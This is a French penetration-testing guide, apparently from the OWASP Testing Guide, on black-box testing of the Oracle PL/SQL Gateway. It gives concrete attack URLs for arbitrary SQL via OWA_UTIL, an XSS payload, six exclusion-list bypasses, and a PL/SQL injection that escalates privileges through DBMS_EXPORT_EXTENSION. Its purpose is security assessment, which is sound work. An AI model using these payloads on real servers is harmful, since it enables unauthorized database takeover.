Table of Contents
Résumé
Cette section décrit comment tester une base de données Oracle à partir du Web.
Description
Les applications Web basées sur PL / SQL sont accessibles par la passerelle PL / SQL, qui est le composant qui traduit les requêtes Web dans les requêtes de bases de données. Oracle a développé un certain nombre d'implémentations de logiciels, allant du module listener web pour le Apache mod_plsql au serveur web de base de données XML (XDB). Tous ont des exigences et leurs propres failles, chacune d'entre elles feront d'une étude approfondie dans ce chapitre. Les produits qui utilisent la passerelle PL / SQL incluent, mais ne sont pas limités à, Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB et Oracle Application Server.
Test boîte noire
Comprendre comment la passerelle PL / SQL travaille Essentiellement la passerelle PL / SQL agit simplement comme un serveur proxy prenant la demande web de l'utilisateur et la transmettant au serveur de base de données où elle est exécutée.
- Le serveur web accepte une demande d'un client web et détermine s'il doit être traité par la passerelle PL / SQL.
- La passerelle PL / SQL traite la requête pour en extraire le nom du package demandé, la procédure et les variables.
- Le package demandé et la procédure sont enveloppés dans un bloc PL / SQL anonyme et envoyés au serveur de base de données.
- Le serveur de base de données exécute la procédure et renvoie les résultats à la passerelle au format HTML.
- La passerelle envoie la réponse, par l'intermédiaire du serveur Web, vers le client.
La compréhension de ce point est important - le code PL / SQL n'existe pas sur le serveur Web, mais plutôt dans le serveur de base de données. Cela signifie que les faiblesses de la passerelle PL / SQL ou les faiblesses dans l'application PL / SQL, lorsqu'elles sont exploitées, donne à un attaquant un accès direct au serveur de base de données, aucun pare-feu ne peut empêcher cela.
Les URL pour les applications Web PL / SQL sont normalement facilement reconnaissable et commencent généralement par ce qui suit (xyz peut être n'importe quelle chaîne et représente un descripteur d'accés à la base de données, dont nous apprendrons plus plus tard):
http://www.example.com/pls/xyz http://www.example.com/xyz/owa http://www.example.com/xyz/plsql
Alors que le deuxième et la troisième de ces exemples représentent des URL à partir d'anciennes versions de la passerelle PL / SQL, le premier représente des versions plus récentes fonctionnant sur Apache. Dans le fichier de configuration d'Apache plsql.conf, pls/ est la valeur par défaut, spécifiée comme emplacement due module gestionnaire PLS. L'emplacement n'a pas besoin d'être /pls, cependant. L'absence d'une extension de fichier dans une URL pourrait indiquer la présence de l'Oracle PL / SQL Gateway. Considérez l'adresse suivante:
http://www.server.com/aaa/bbb/xxxxx.yyyyy
Si xxxxx.yyyyy ont été remplacés par quelque chose comme approchant de “ebank.home», «store.welcome», «auth.login» ou «books.search», il y a une chance assez forte que la passerelle PL / SQL soit utilisée. Il est également possible de faire précéder le package demandé et la procédure avec le nom de l'utilisateur qui lui appartient - c'est à dire le schéma - dans ce cas, l'utilisateur est “webuser”:
http://www.server.com/pls/xyz/webuser.pkg.proc
Dans cette URL, xyz est le descripteur d'accès à la base de données , ou DAD. Un DAD spécifie des informations sur le serveur de base de données afin que la passerelle PL / SQL puisse se connecter. Il contient des informations telles que la chaîne de connexion TNS, l'ID utilisateur et le mot de passe, la méthode d'authentification, et ainsi de suite. Ces DAD sont spécifiées dans le fichier de configuration Apache dads.conf dans les versions plus récentes ou dans le fichier wdbsvr.app dans les anciennes versions. Certains DAD défaut sont les suivants:
SIMPLEDAD HTMLDB ORASSO SSODAD PORTAL PORTAL2 PORTAL30 PORTAL30_SSO TEST DAD APP ONLINE DB OWA
Déterminer si la passerelle PL / SQL est en cours d'exécution
Lors de l'évaluation d'un serveur, il est d'abord important de savoir à quelle technologie vous êtes réellement confrontés. Si vous ne la connaissez pas déjà, par exemple, dans un scénario d'évaluation boîte noire, la première chose que vous devez faire est de le découvrir. La reconnaissance d'application basée sur le Web PL / SQL est assez facile. Tout d'abord, il y a le format de l'URL et à quoi il ressemble. Au-delà, il y a une série de tests simples qui peuvent être effectués pour tester l'existence de la passerelle PL / SQL.
En-têtes de réponse du serveur
Les En-têtes de réponse du serveur Web sont un bon indicateur pour savoir si le serveur exécute la passerelle PL / SQL. Le tableau ci-dessous énumère quelques-unes des en-têtes typiques de réponse du serveur:
Oracle-Application-Server-10g Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N) Oracle-Application-Server-10g/9.0.4.0.0 Oracle HTTP Server Powered by Apache Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0 Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition Oracle_Web_Listener/4.0.8.2EnterpriseEdition Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition Oracle_Web_listener3.0.2.0.0/2.14FC1 Oracle9iAS/9.0.2 Oracle HTTP Server Oracle9iAS/9.0.3.1 Oracle HTTP Server
Le test NULL
En PL / SQL, “null” est une expression tout à fait acceptable:
SQL> BEGIN 2 NULL; 3 END; 4 / ... PL/SQL procedure successfully completed.
Nous pouvons l'utiliser pour tester si le serveur est en cours d'exécution de la passerelle PL / SQL. Il suffit de prendre la DAD et lui ajouter NULL, puis ajoutez NOSUCHPROC:
http://www.example.com/pls/dad/null http://www.example.com/pls/dad/nosuchproc
Si le serveur répond avec une réponse 200 OK pour le premier et un 404 Not Found pour la seconde, cela indique que le serveur est en cours d'exécution de la passerelle PL / SQL.
Accès aux paquets connus
Sur les anciennes versions de la passerelle PL / SQL, il est possible d'accéder directement aux paquets qui constituent la boîte à outils PL / SQL tels que la BCT et les paquets HTP. L'un de ces paquets est le paquet OWA_UTIL, que nous allons étudier plus tard. Ce paquet contient une procédure appelée SIGNATURE et il émet simplement une signature HTML PL / SQL. Ainsi, la demande
http://www.example.com/pls/dad/owa_util.signature
retourne la sortie suivante sur la page Web
"This page was produced by the PL/SQL Web Toolkit on date"
ou
"This page was produced by the PL/SQL Cartridge on date"
Si vous ne recevez pas cette réponse, mais une réponse 403 Forbidden alors vous pouvez en déduire que la passerelle PL / SQL est en cours d'exécution. C'est la réponse que vous devriez obtenir dans les versions ultérieures ou des systèmes patchés.
Accès arbitraires a des paquets PL / SQL dans la base de données
Il est possible d'exploiter des vulnérabilités dans les packages PL / SQL qui sont installés par défaut dans le serveur de base de données. Cela dépend de la version de la passerelle PL / SQL. Dans les versions antérieures de la passerelle PL / SQL, il n'y avait rien pour empêcher un attaquant d'accéder de façon arbitraire à un package PL / SQL dans le serveur de base de données. Nous avons mentionné le paquet OWA_UTIL plus tôt. Ceci peut être utilisé pour exécuter des requêtes SQL arbitraires:
http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS
Une attaque Cross Site Scripting pourrait être lancée via le package HTP:
http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert('XSS')</script>
De toute évidence, cela est dangereux, car Oracle a présenté une liste d'exclusion PL/SQL pour empêcher l'accès direct à ces procédures dangereuses. Il est, ainsi, interdit d'inclure dans des articles toute demande commençant par SYS, toute demande en commençant par DBMS_, toute demande avec HTP* Ou OWA*. Il est toutefois possible de contourner la liste d'exclusion. De plus, la liste d'exclusion n'empêche pas l'accès aux packages dans les CTXSYS et les schémas MDSYS ou autres, il est donc possible d'exploiter des failles dans ces paquets:
http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL
Ceci renvoie une page HTML vide avec une réponse 200 OK si le serveur de base de données est toujours vulnérable à cette faille (CVE-2006-0265)
Test de la passerelle PL / SQL Pour la présence de failles
La passerelle PL / SQL a souffert d'un certain nombre de défauts, notamment l'accès aux pages d'administration (CVE-2002-0561), les débordements de mémoire tampon (CVE-2002-0559), le directory traversal, des bugs et des vulnérabilités qui permettent aux attaquants de contourner la liste d'exclusion, d'accéder et d'exécuter des packages PL / SQL arbitraires dans le serveur de base de données.
Le contournement de la liste d'exclusion PL / SQL
Oracle a tenté de corriger les défauts qui permettent à des attaquants contourner la liste d'exclusion. Mais chaque patch Oracle produite a été victime d'une technique nouvelle de contournement. Pour plus d'information se référer à cet article : http://seclists.org/fulldisclosure/2006/Feb/0011.html
Le contournement de la liste d'exclusion - Méthode 1
Oracle a introduit la liste d'exclusion PL / SQL pour empêcher les attaquants d'accéder de façon arbitraire à des packages PL / SQL, mais cela peut être trivialement contourné en faisant précéder le nom du schéma / paquet avec un caractère saut de ligne ou un espace ou une tabulation codé en hexadécimal:
http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC
Le contournement de la liste d'exclusion - Méthode 2
Les versions ultérieures de la passerelle ont permis aux attaquants de contourner la liste d'exclusion en faisant précéder le nom du schéma / paquet avec une étiquette. En PL / SQL une étiquette (label) désigne une ligne vers laquelle le code eut directement sauté grâce à l'instruction GOTO et prend la forme suivante: «NAME»
http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC
Le contournement de la liste d'exclusion - Méthode 3
Il suffit de placer le nom du schéma / paquet entre guillemets pour permettre à un attaquant de contourner la liste d'exclusion. Notez que cela ne fonctionne pas sur Oracle 10g Application Server car il convertit la demande de l'utilisateur en minuscules avant de l'envoyer au serveur de base de données et une quote est sensible à la casse - donc «SYS» et «sys» ne sont pas la même chose et les demandes se traduiront par un 404 Not Found. Sur les versions antérieures ce qui suit est possible pour contourner la liste d'exclusion:
http://www.example.com/pls/dad/"SYS".PACKAGE.PROC
Le contournement de la liste d'exclusion - Méthode 4
Selon le jeu de caractères utilisé sur le serveur Web et le serveur de base, certains caractères sont convertis. Ainsi, selon le jeu de caractères utilisé, le caractère “ÿ” (0xFF) peut être converti en un “Y” sur le serveur de base de données. Un autre caractère qui est souvent converti en “Y” majuscules est le caractère Macron - 0xAF. Cela peut permettre à un attaquant de contourner la liste d'exclusion:
http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC
Le contournement de la liste d'exclusion - Méthode 5
Certaines versions de la passerelle PL / SQL permettent de contourner la liste d'exclusion avec une barre oblique inverse - 0x5C:
http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC
Le contournement de la liste d'exclusion - Méthode 6
Il s'agit de la méthode la plus complexe de contournement de la liste d'exclusion ainsi que la méthode la plus récemment patchée. Si nous demandons ce qui suit
http://www.example.com/pls/dad/foo.bar?xyz=123
le serveur d'application devrait exécuter la commande suivante sur le serveur de base de données:
1 declare
2 rc__ number;
3 start_time__ binary_integer;
4 simple_list__ owa_util.vc_arr;
5 complex_list__ owa_util.vc_arr;
6 begin
7 start_time__ := dbms_utility.get_time;
8 owa.init_cgi_env(:n__,:nm__,:v__);
9 htp.HTBUF_LEN := 255;
10 null;
11 null;
12 simple_list__(1) := 'sys.%';
13 simple_list__(2) := 'dbms\_%';
14 simple_list__(3) := 'utl\_%';
15 simple_list__(4) := 'owa\_%';
16 simple_list__(5) := 'owa.%';
17 simple_list__(6) := 'htp.%';
18 simple_list__(7) := 'htf.%';
19 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then
20 rc__ := 2;
21 else
22 null;
23 orasso.wpg_session.init();
24 foo.bar(XYZ=>:XYZ);
25 if (wpg_docload.is_file_download) then
26 rc__ := 1;
27 wpg_docload.get_download_file(:doc_info);
28 orasso.wpg_session.deinit();
29 null;
30 null;
31 commit;
32 else
33 rc__ := 0;
34 orasso.wpg_session.deinit();
35 null;
36 null;
37 commit;
38 owa.get_page(:data__,:ndata__);
39 end if;
40 end if;
41 :rc__ := rc__;
42 :db_proc_time__ := dbms_utility.get_time—start_time__;
43 end;
Remarque sur les lignes 19 et 24. À la ligne 19, la demande de l'utilisateur est comparée à une liste de «mauvaises» chaînes connues, la liste d'exclusion. Si le package demandé et la procédure ne contiennent pas de mauvaises chaines, la procédure est exécutée sur la ligne 24. Le paramètre XYZ est passée comme une variable de liaison.
Si l'on demande alors ce qui suit:
http://server.example.com/pls/dad/INJECT'POINT
ce qui suit PL / SQL est exécuté:
..
18 simple_list__(7) := 'htf.%';
19 if ((owa_match.match_pattern('inject'point', simple_list__, complex_list__, true))) then
20 rc__ := 2;
21 else
22 null;
23 orasso.wpg_session.init();
24 inject'point;
..
Ceci génère une erreur dans le journal d'erreur: “PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the following. . .” Ce que nous avons ici est un moyen d'injecter du SQL arbitraire. Cela pourrait être exploité afin de contourner la liste d'exclusion. Mais, l'attaquant a besoin de trouver une procédure PL / SQL qui ne prend aucun paramètre et qui n'a aucune correspondance dans la liste d'exclusion. Il y a un bon nombre de packages par défaut qui correspondent à ces critères, par exemple:
JAVA_AUTONOMOUS_TRANSACTION.PUSH XMLGEN.USELOWERCASETAGNAMES PORTAL.WWV_HTP.CENTERCLOSE ORASSO.HOME WWC_VERSION.GET_HTTP_DATABASE_INFO
Un attaquant doit choisir l'une de ces fonctions qui est réellement disponible sur le système cible (par exemple, renvoie un 200 OK à la demande). En guise de test, un attaquant peut demander
http://server.example.com/pls/dad/orasso.home?FOO=BAR
le serveur doit renvoyer un «404 File Not Found» parce que la procédure orasso.home ne nécessitent pas de paramètres et qu'un paramètre a été fourni. Cependant, avant que le 404 ne soit retourné, le PL / SQL qui suit est exécuté:
..
..
if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then
rc__ := 2;
else
null;
orasso.wpg_session.init();
orasso.home(FOO=>:FOO);
..
..
A noter la présence de FOO dans la chaîne de requête de l'attaquant. Les attaquants peuvent abuser de cette option pour exécuter du SQL arbitraire. Tout d'abord, ils ont besoin de fermer les parenthèses:
http://server.example.com/pls/dad/orasso.home?);--=BAR
Il en résulte ce l'exécution:qui du PL / SQL qui suit
.. orasso.home();--=>:);--); ..
Notez que tout ce qui suit le double moins (-) est traité comme un commentaire. Cette demande va provoquer une erreur interne du serveur parce que l'une des variables n'est plus utilisée, alors l'attaquant doit l'ajouter à nouveau. Il se trouve que c'est cette variable de liaison qui est la clé de la gestion arbitraire PL / SQL. Pour le moment, il suffit simplement d'utiliser HTP.print pour imprimer BAR, et ajoutez la variable de liaison nécessaire que: 1:
http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual
Cela devrait renvoyer un 200 avec le mot “BAR” dans le code HTML. Qu'est-ce qui se passe ici, c'est que tout ce qui suit le signe égal - BAR dans ce cas - représentent les données insérées dans la variable de liaison. Selon la même technique, il est possible également d'accéder de nouveau à owa_util.cellsprint:
http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS
Pour exécuter du SQL arbitraire, y compris les instructions DML et DDL, l'attaquant insère une exécution immédiate: 1:
http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual
Notez que la sortie ne sera pas affichée. Cela peut être mis à profit pour exploiter les bugs d'injection PL / SQL appartenant à SYS, ce qui permet à un attaquant de prendre le contrôle complet du serveur de base de données back-end. Par exemple, l'URL suivante profite des failles d'injection SQL dans DBMSEXPORTEXTENSION (voir http://secunia.com/advisories/19860)
http://www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1);
EXECUTE%20IMMEDIATE%20//CREATE%20OR%20REPLACE%20//
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL//;//
END;--','SYS',1,'VER',0);END;
Évaluation d'applications Web PL / SQL personnalisées
Pendant un test boîte noire, le code de l'application PL / SQL personnalisée n'est pas disponible, mais elle doit être évaluée pour d'éventuelles failles de sécurité.
Test pour injection SQL
Chaque paramètre d'entrée doit être testé pour les attaques par injection SQL. Ils sont faciles à trouver et confirmer. Les trouver est aussi facile car ils intègrent un guillemet simple dans le paramètre et la production d'erreur suite à la vérification des réponses (qui comprennent les erreurs 404 not found). La confirmation de la présence de l'injection SQL peut être réalisée en utilisant l'opérateur de concaténation.
Par exemple, supposons qu'il existe une application web PL / SQL gérant une librairie qui permet aux utilisateurs de rechercher des livres par un auteur donné:
http://www.example.com/pls/bookstore/books.search?author=DICKENS
Si cette requête retourne les livres de Charles Dickens, mais
http://www.example.com/pls/bookstore/books.search?author=DICK'ENS
renvoie une erreur ou un 404, alors il pourrait y avoir une faille d'injection SQL. Cela peut être confirmé en utilisant l'opérateur de concaténation:
http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS
Si cette requête retourne les livres de Charles Dickens, vous avez confirmé la présence de la vulnérabilité d'injection SQL.
Références
Livres blancs
- Hackproofing Oracle Application Server (A Guide to Securing Oracle 9) - http://www.itsec.gov.cn/docs/20090507151158287612.pdf
- Oracle PL/SQL Injection - http://www.databasesecurity.com/oracle/oracle-plsql-2.pdf
Outils
- SQLInjector - http://www.databasesecurity.com/sql-injector.htm
- Orascan (Oracle Web Application VA scanner), NGS SQuirreL (Oracle RDBMS VA Scanner) - http://www.nccgroup.com/en/our-services/security-testing-audit-compliance/information-security-software/ngs-orascan/
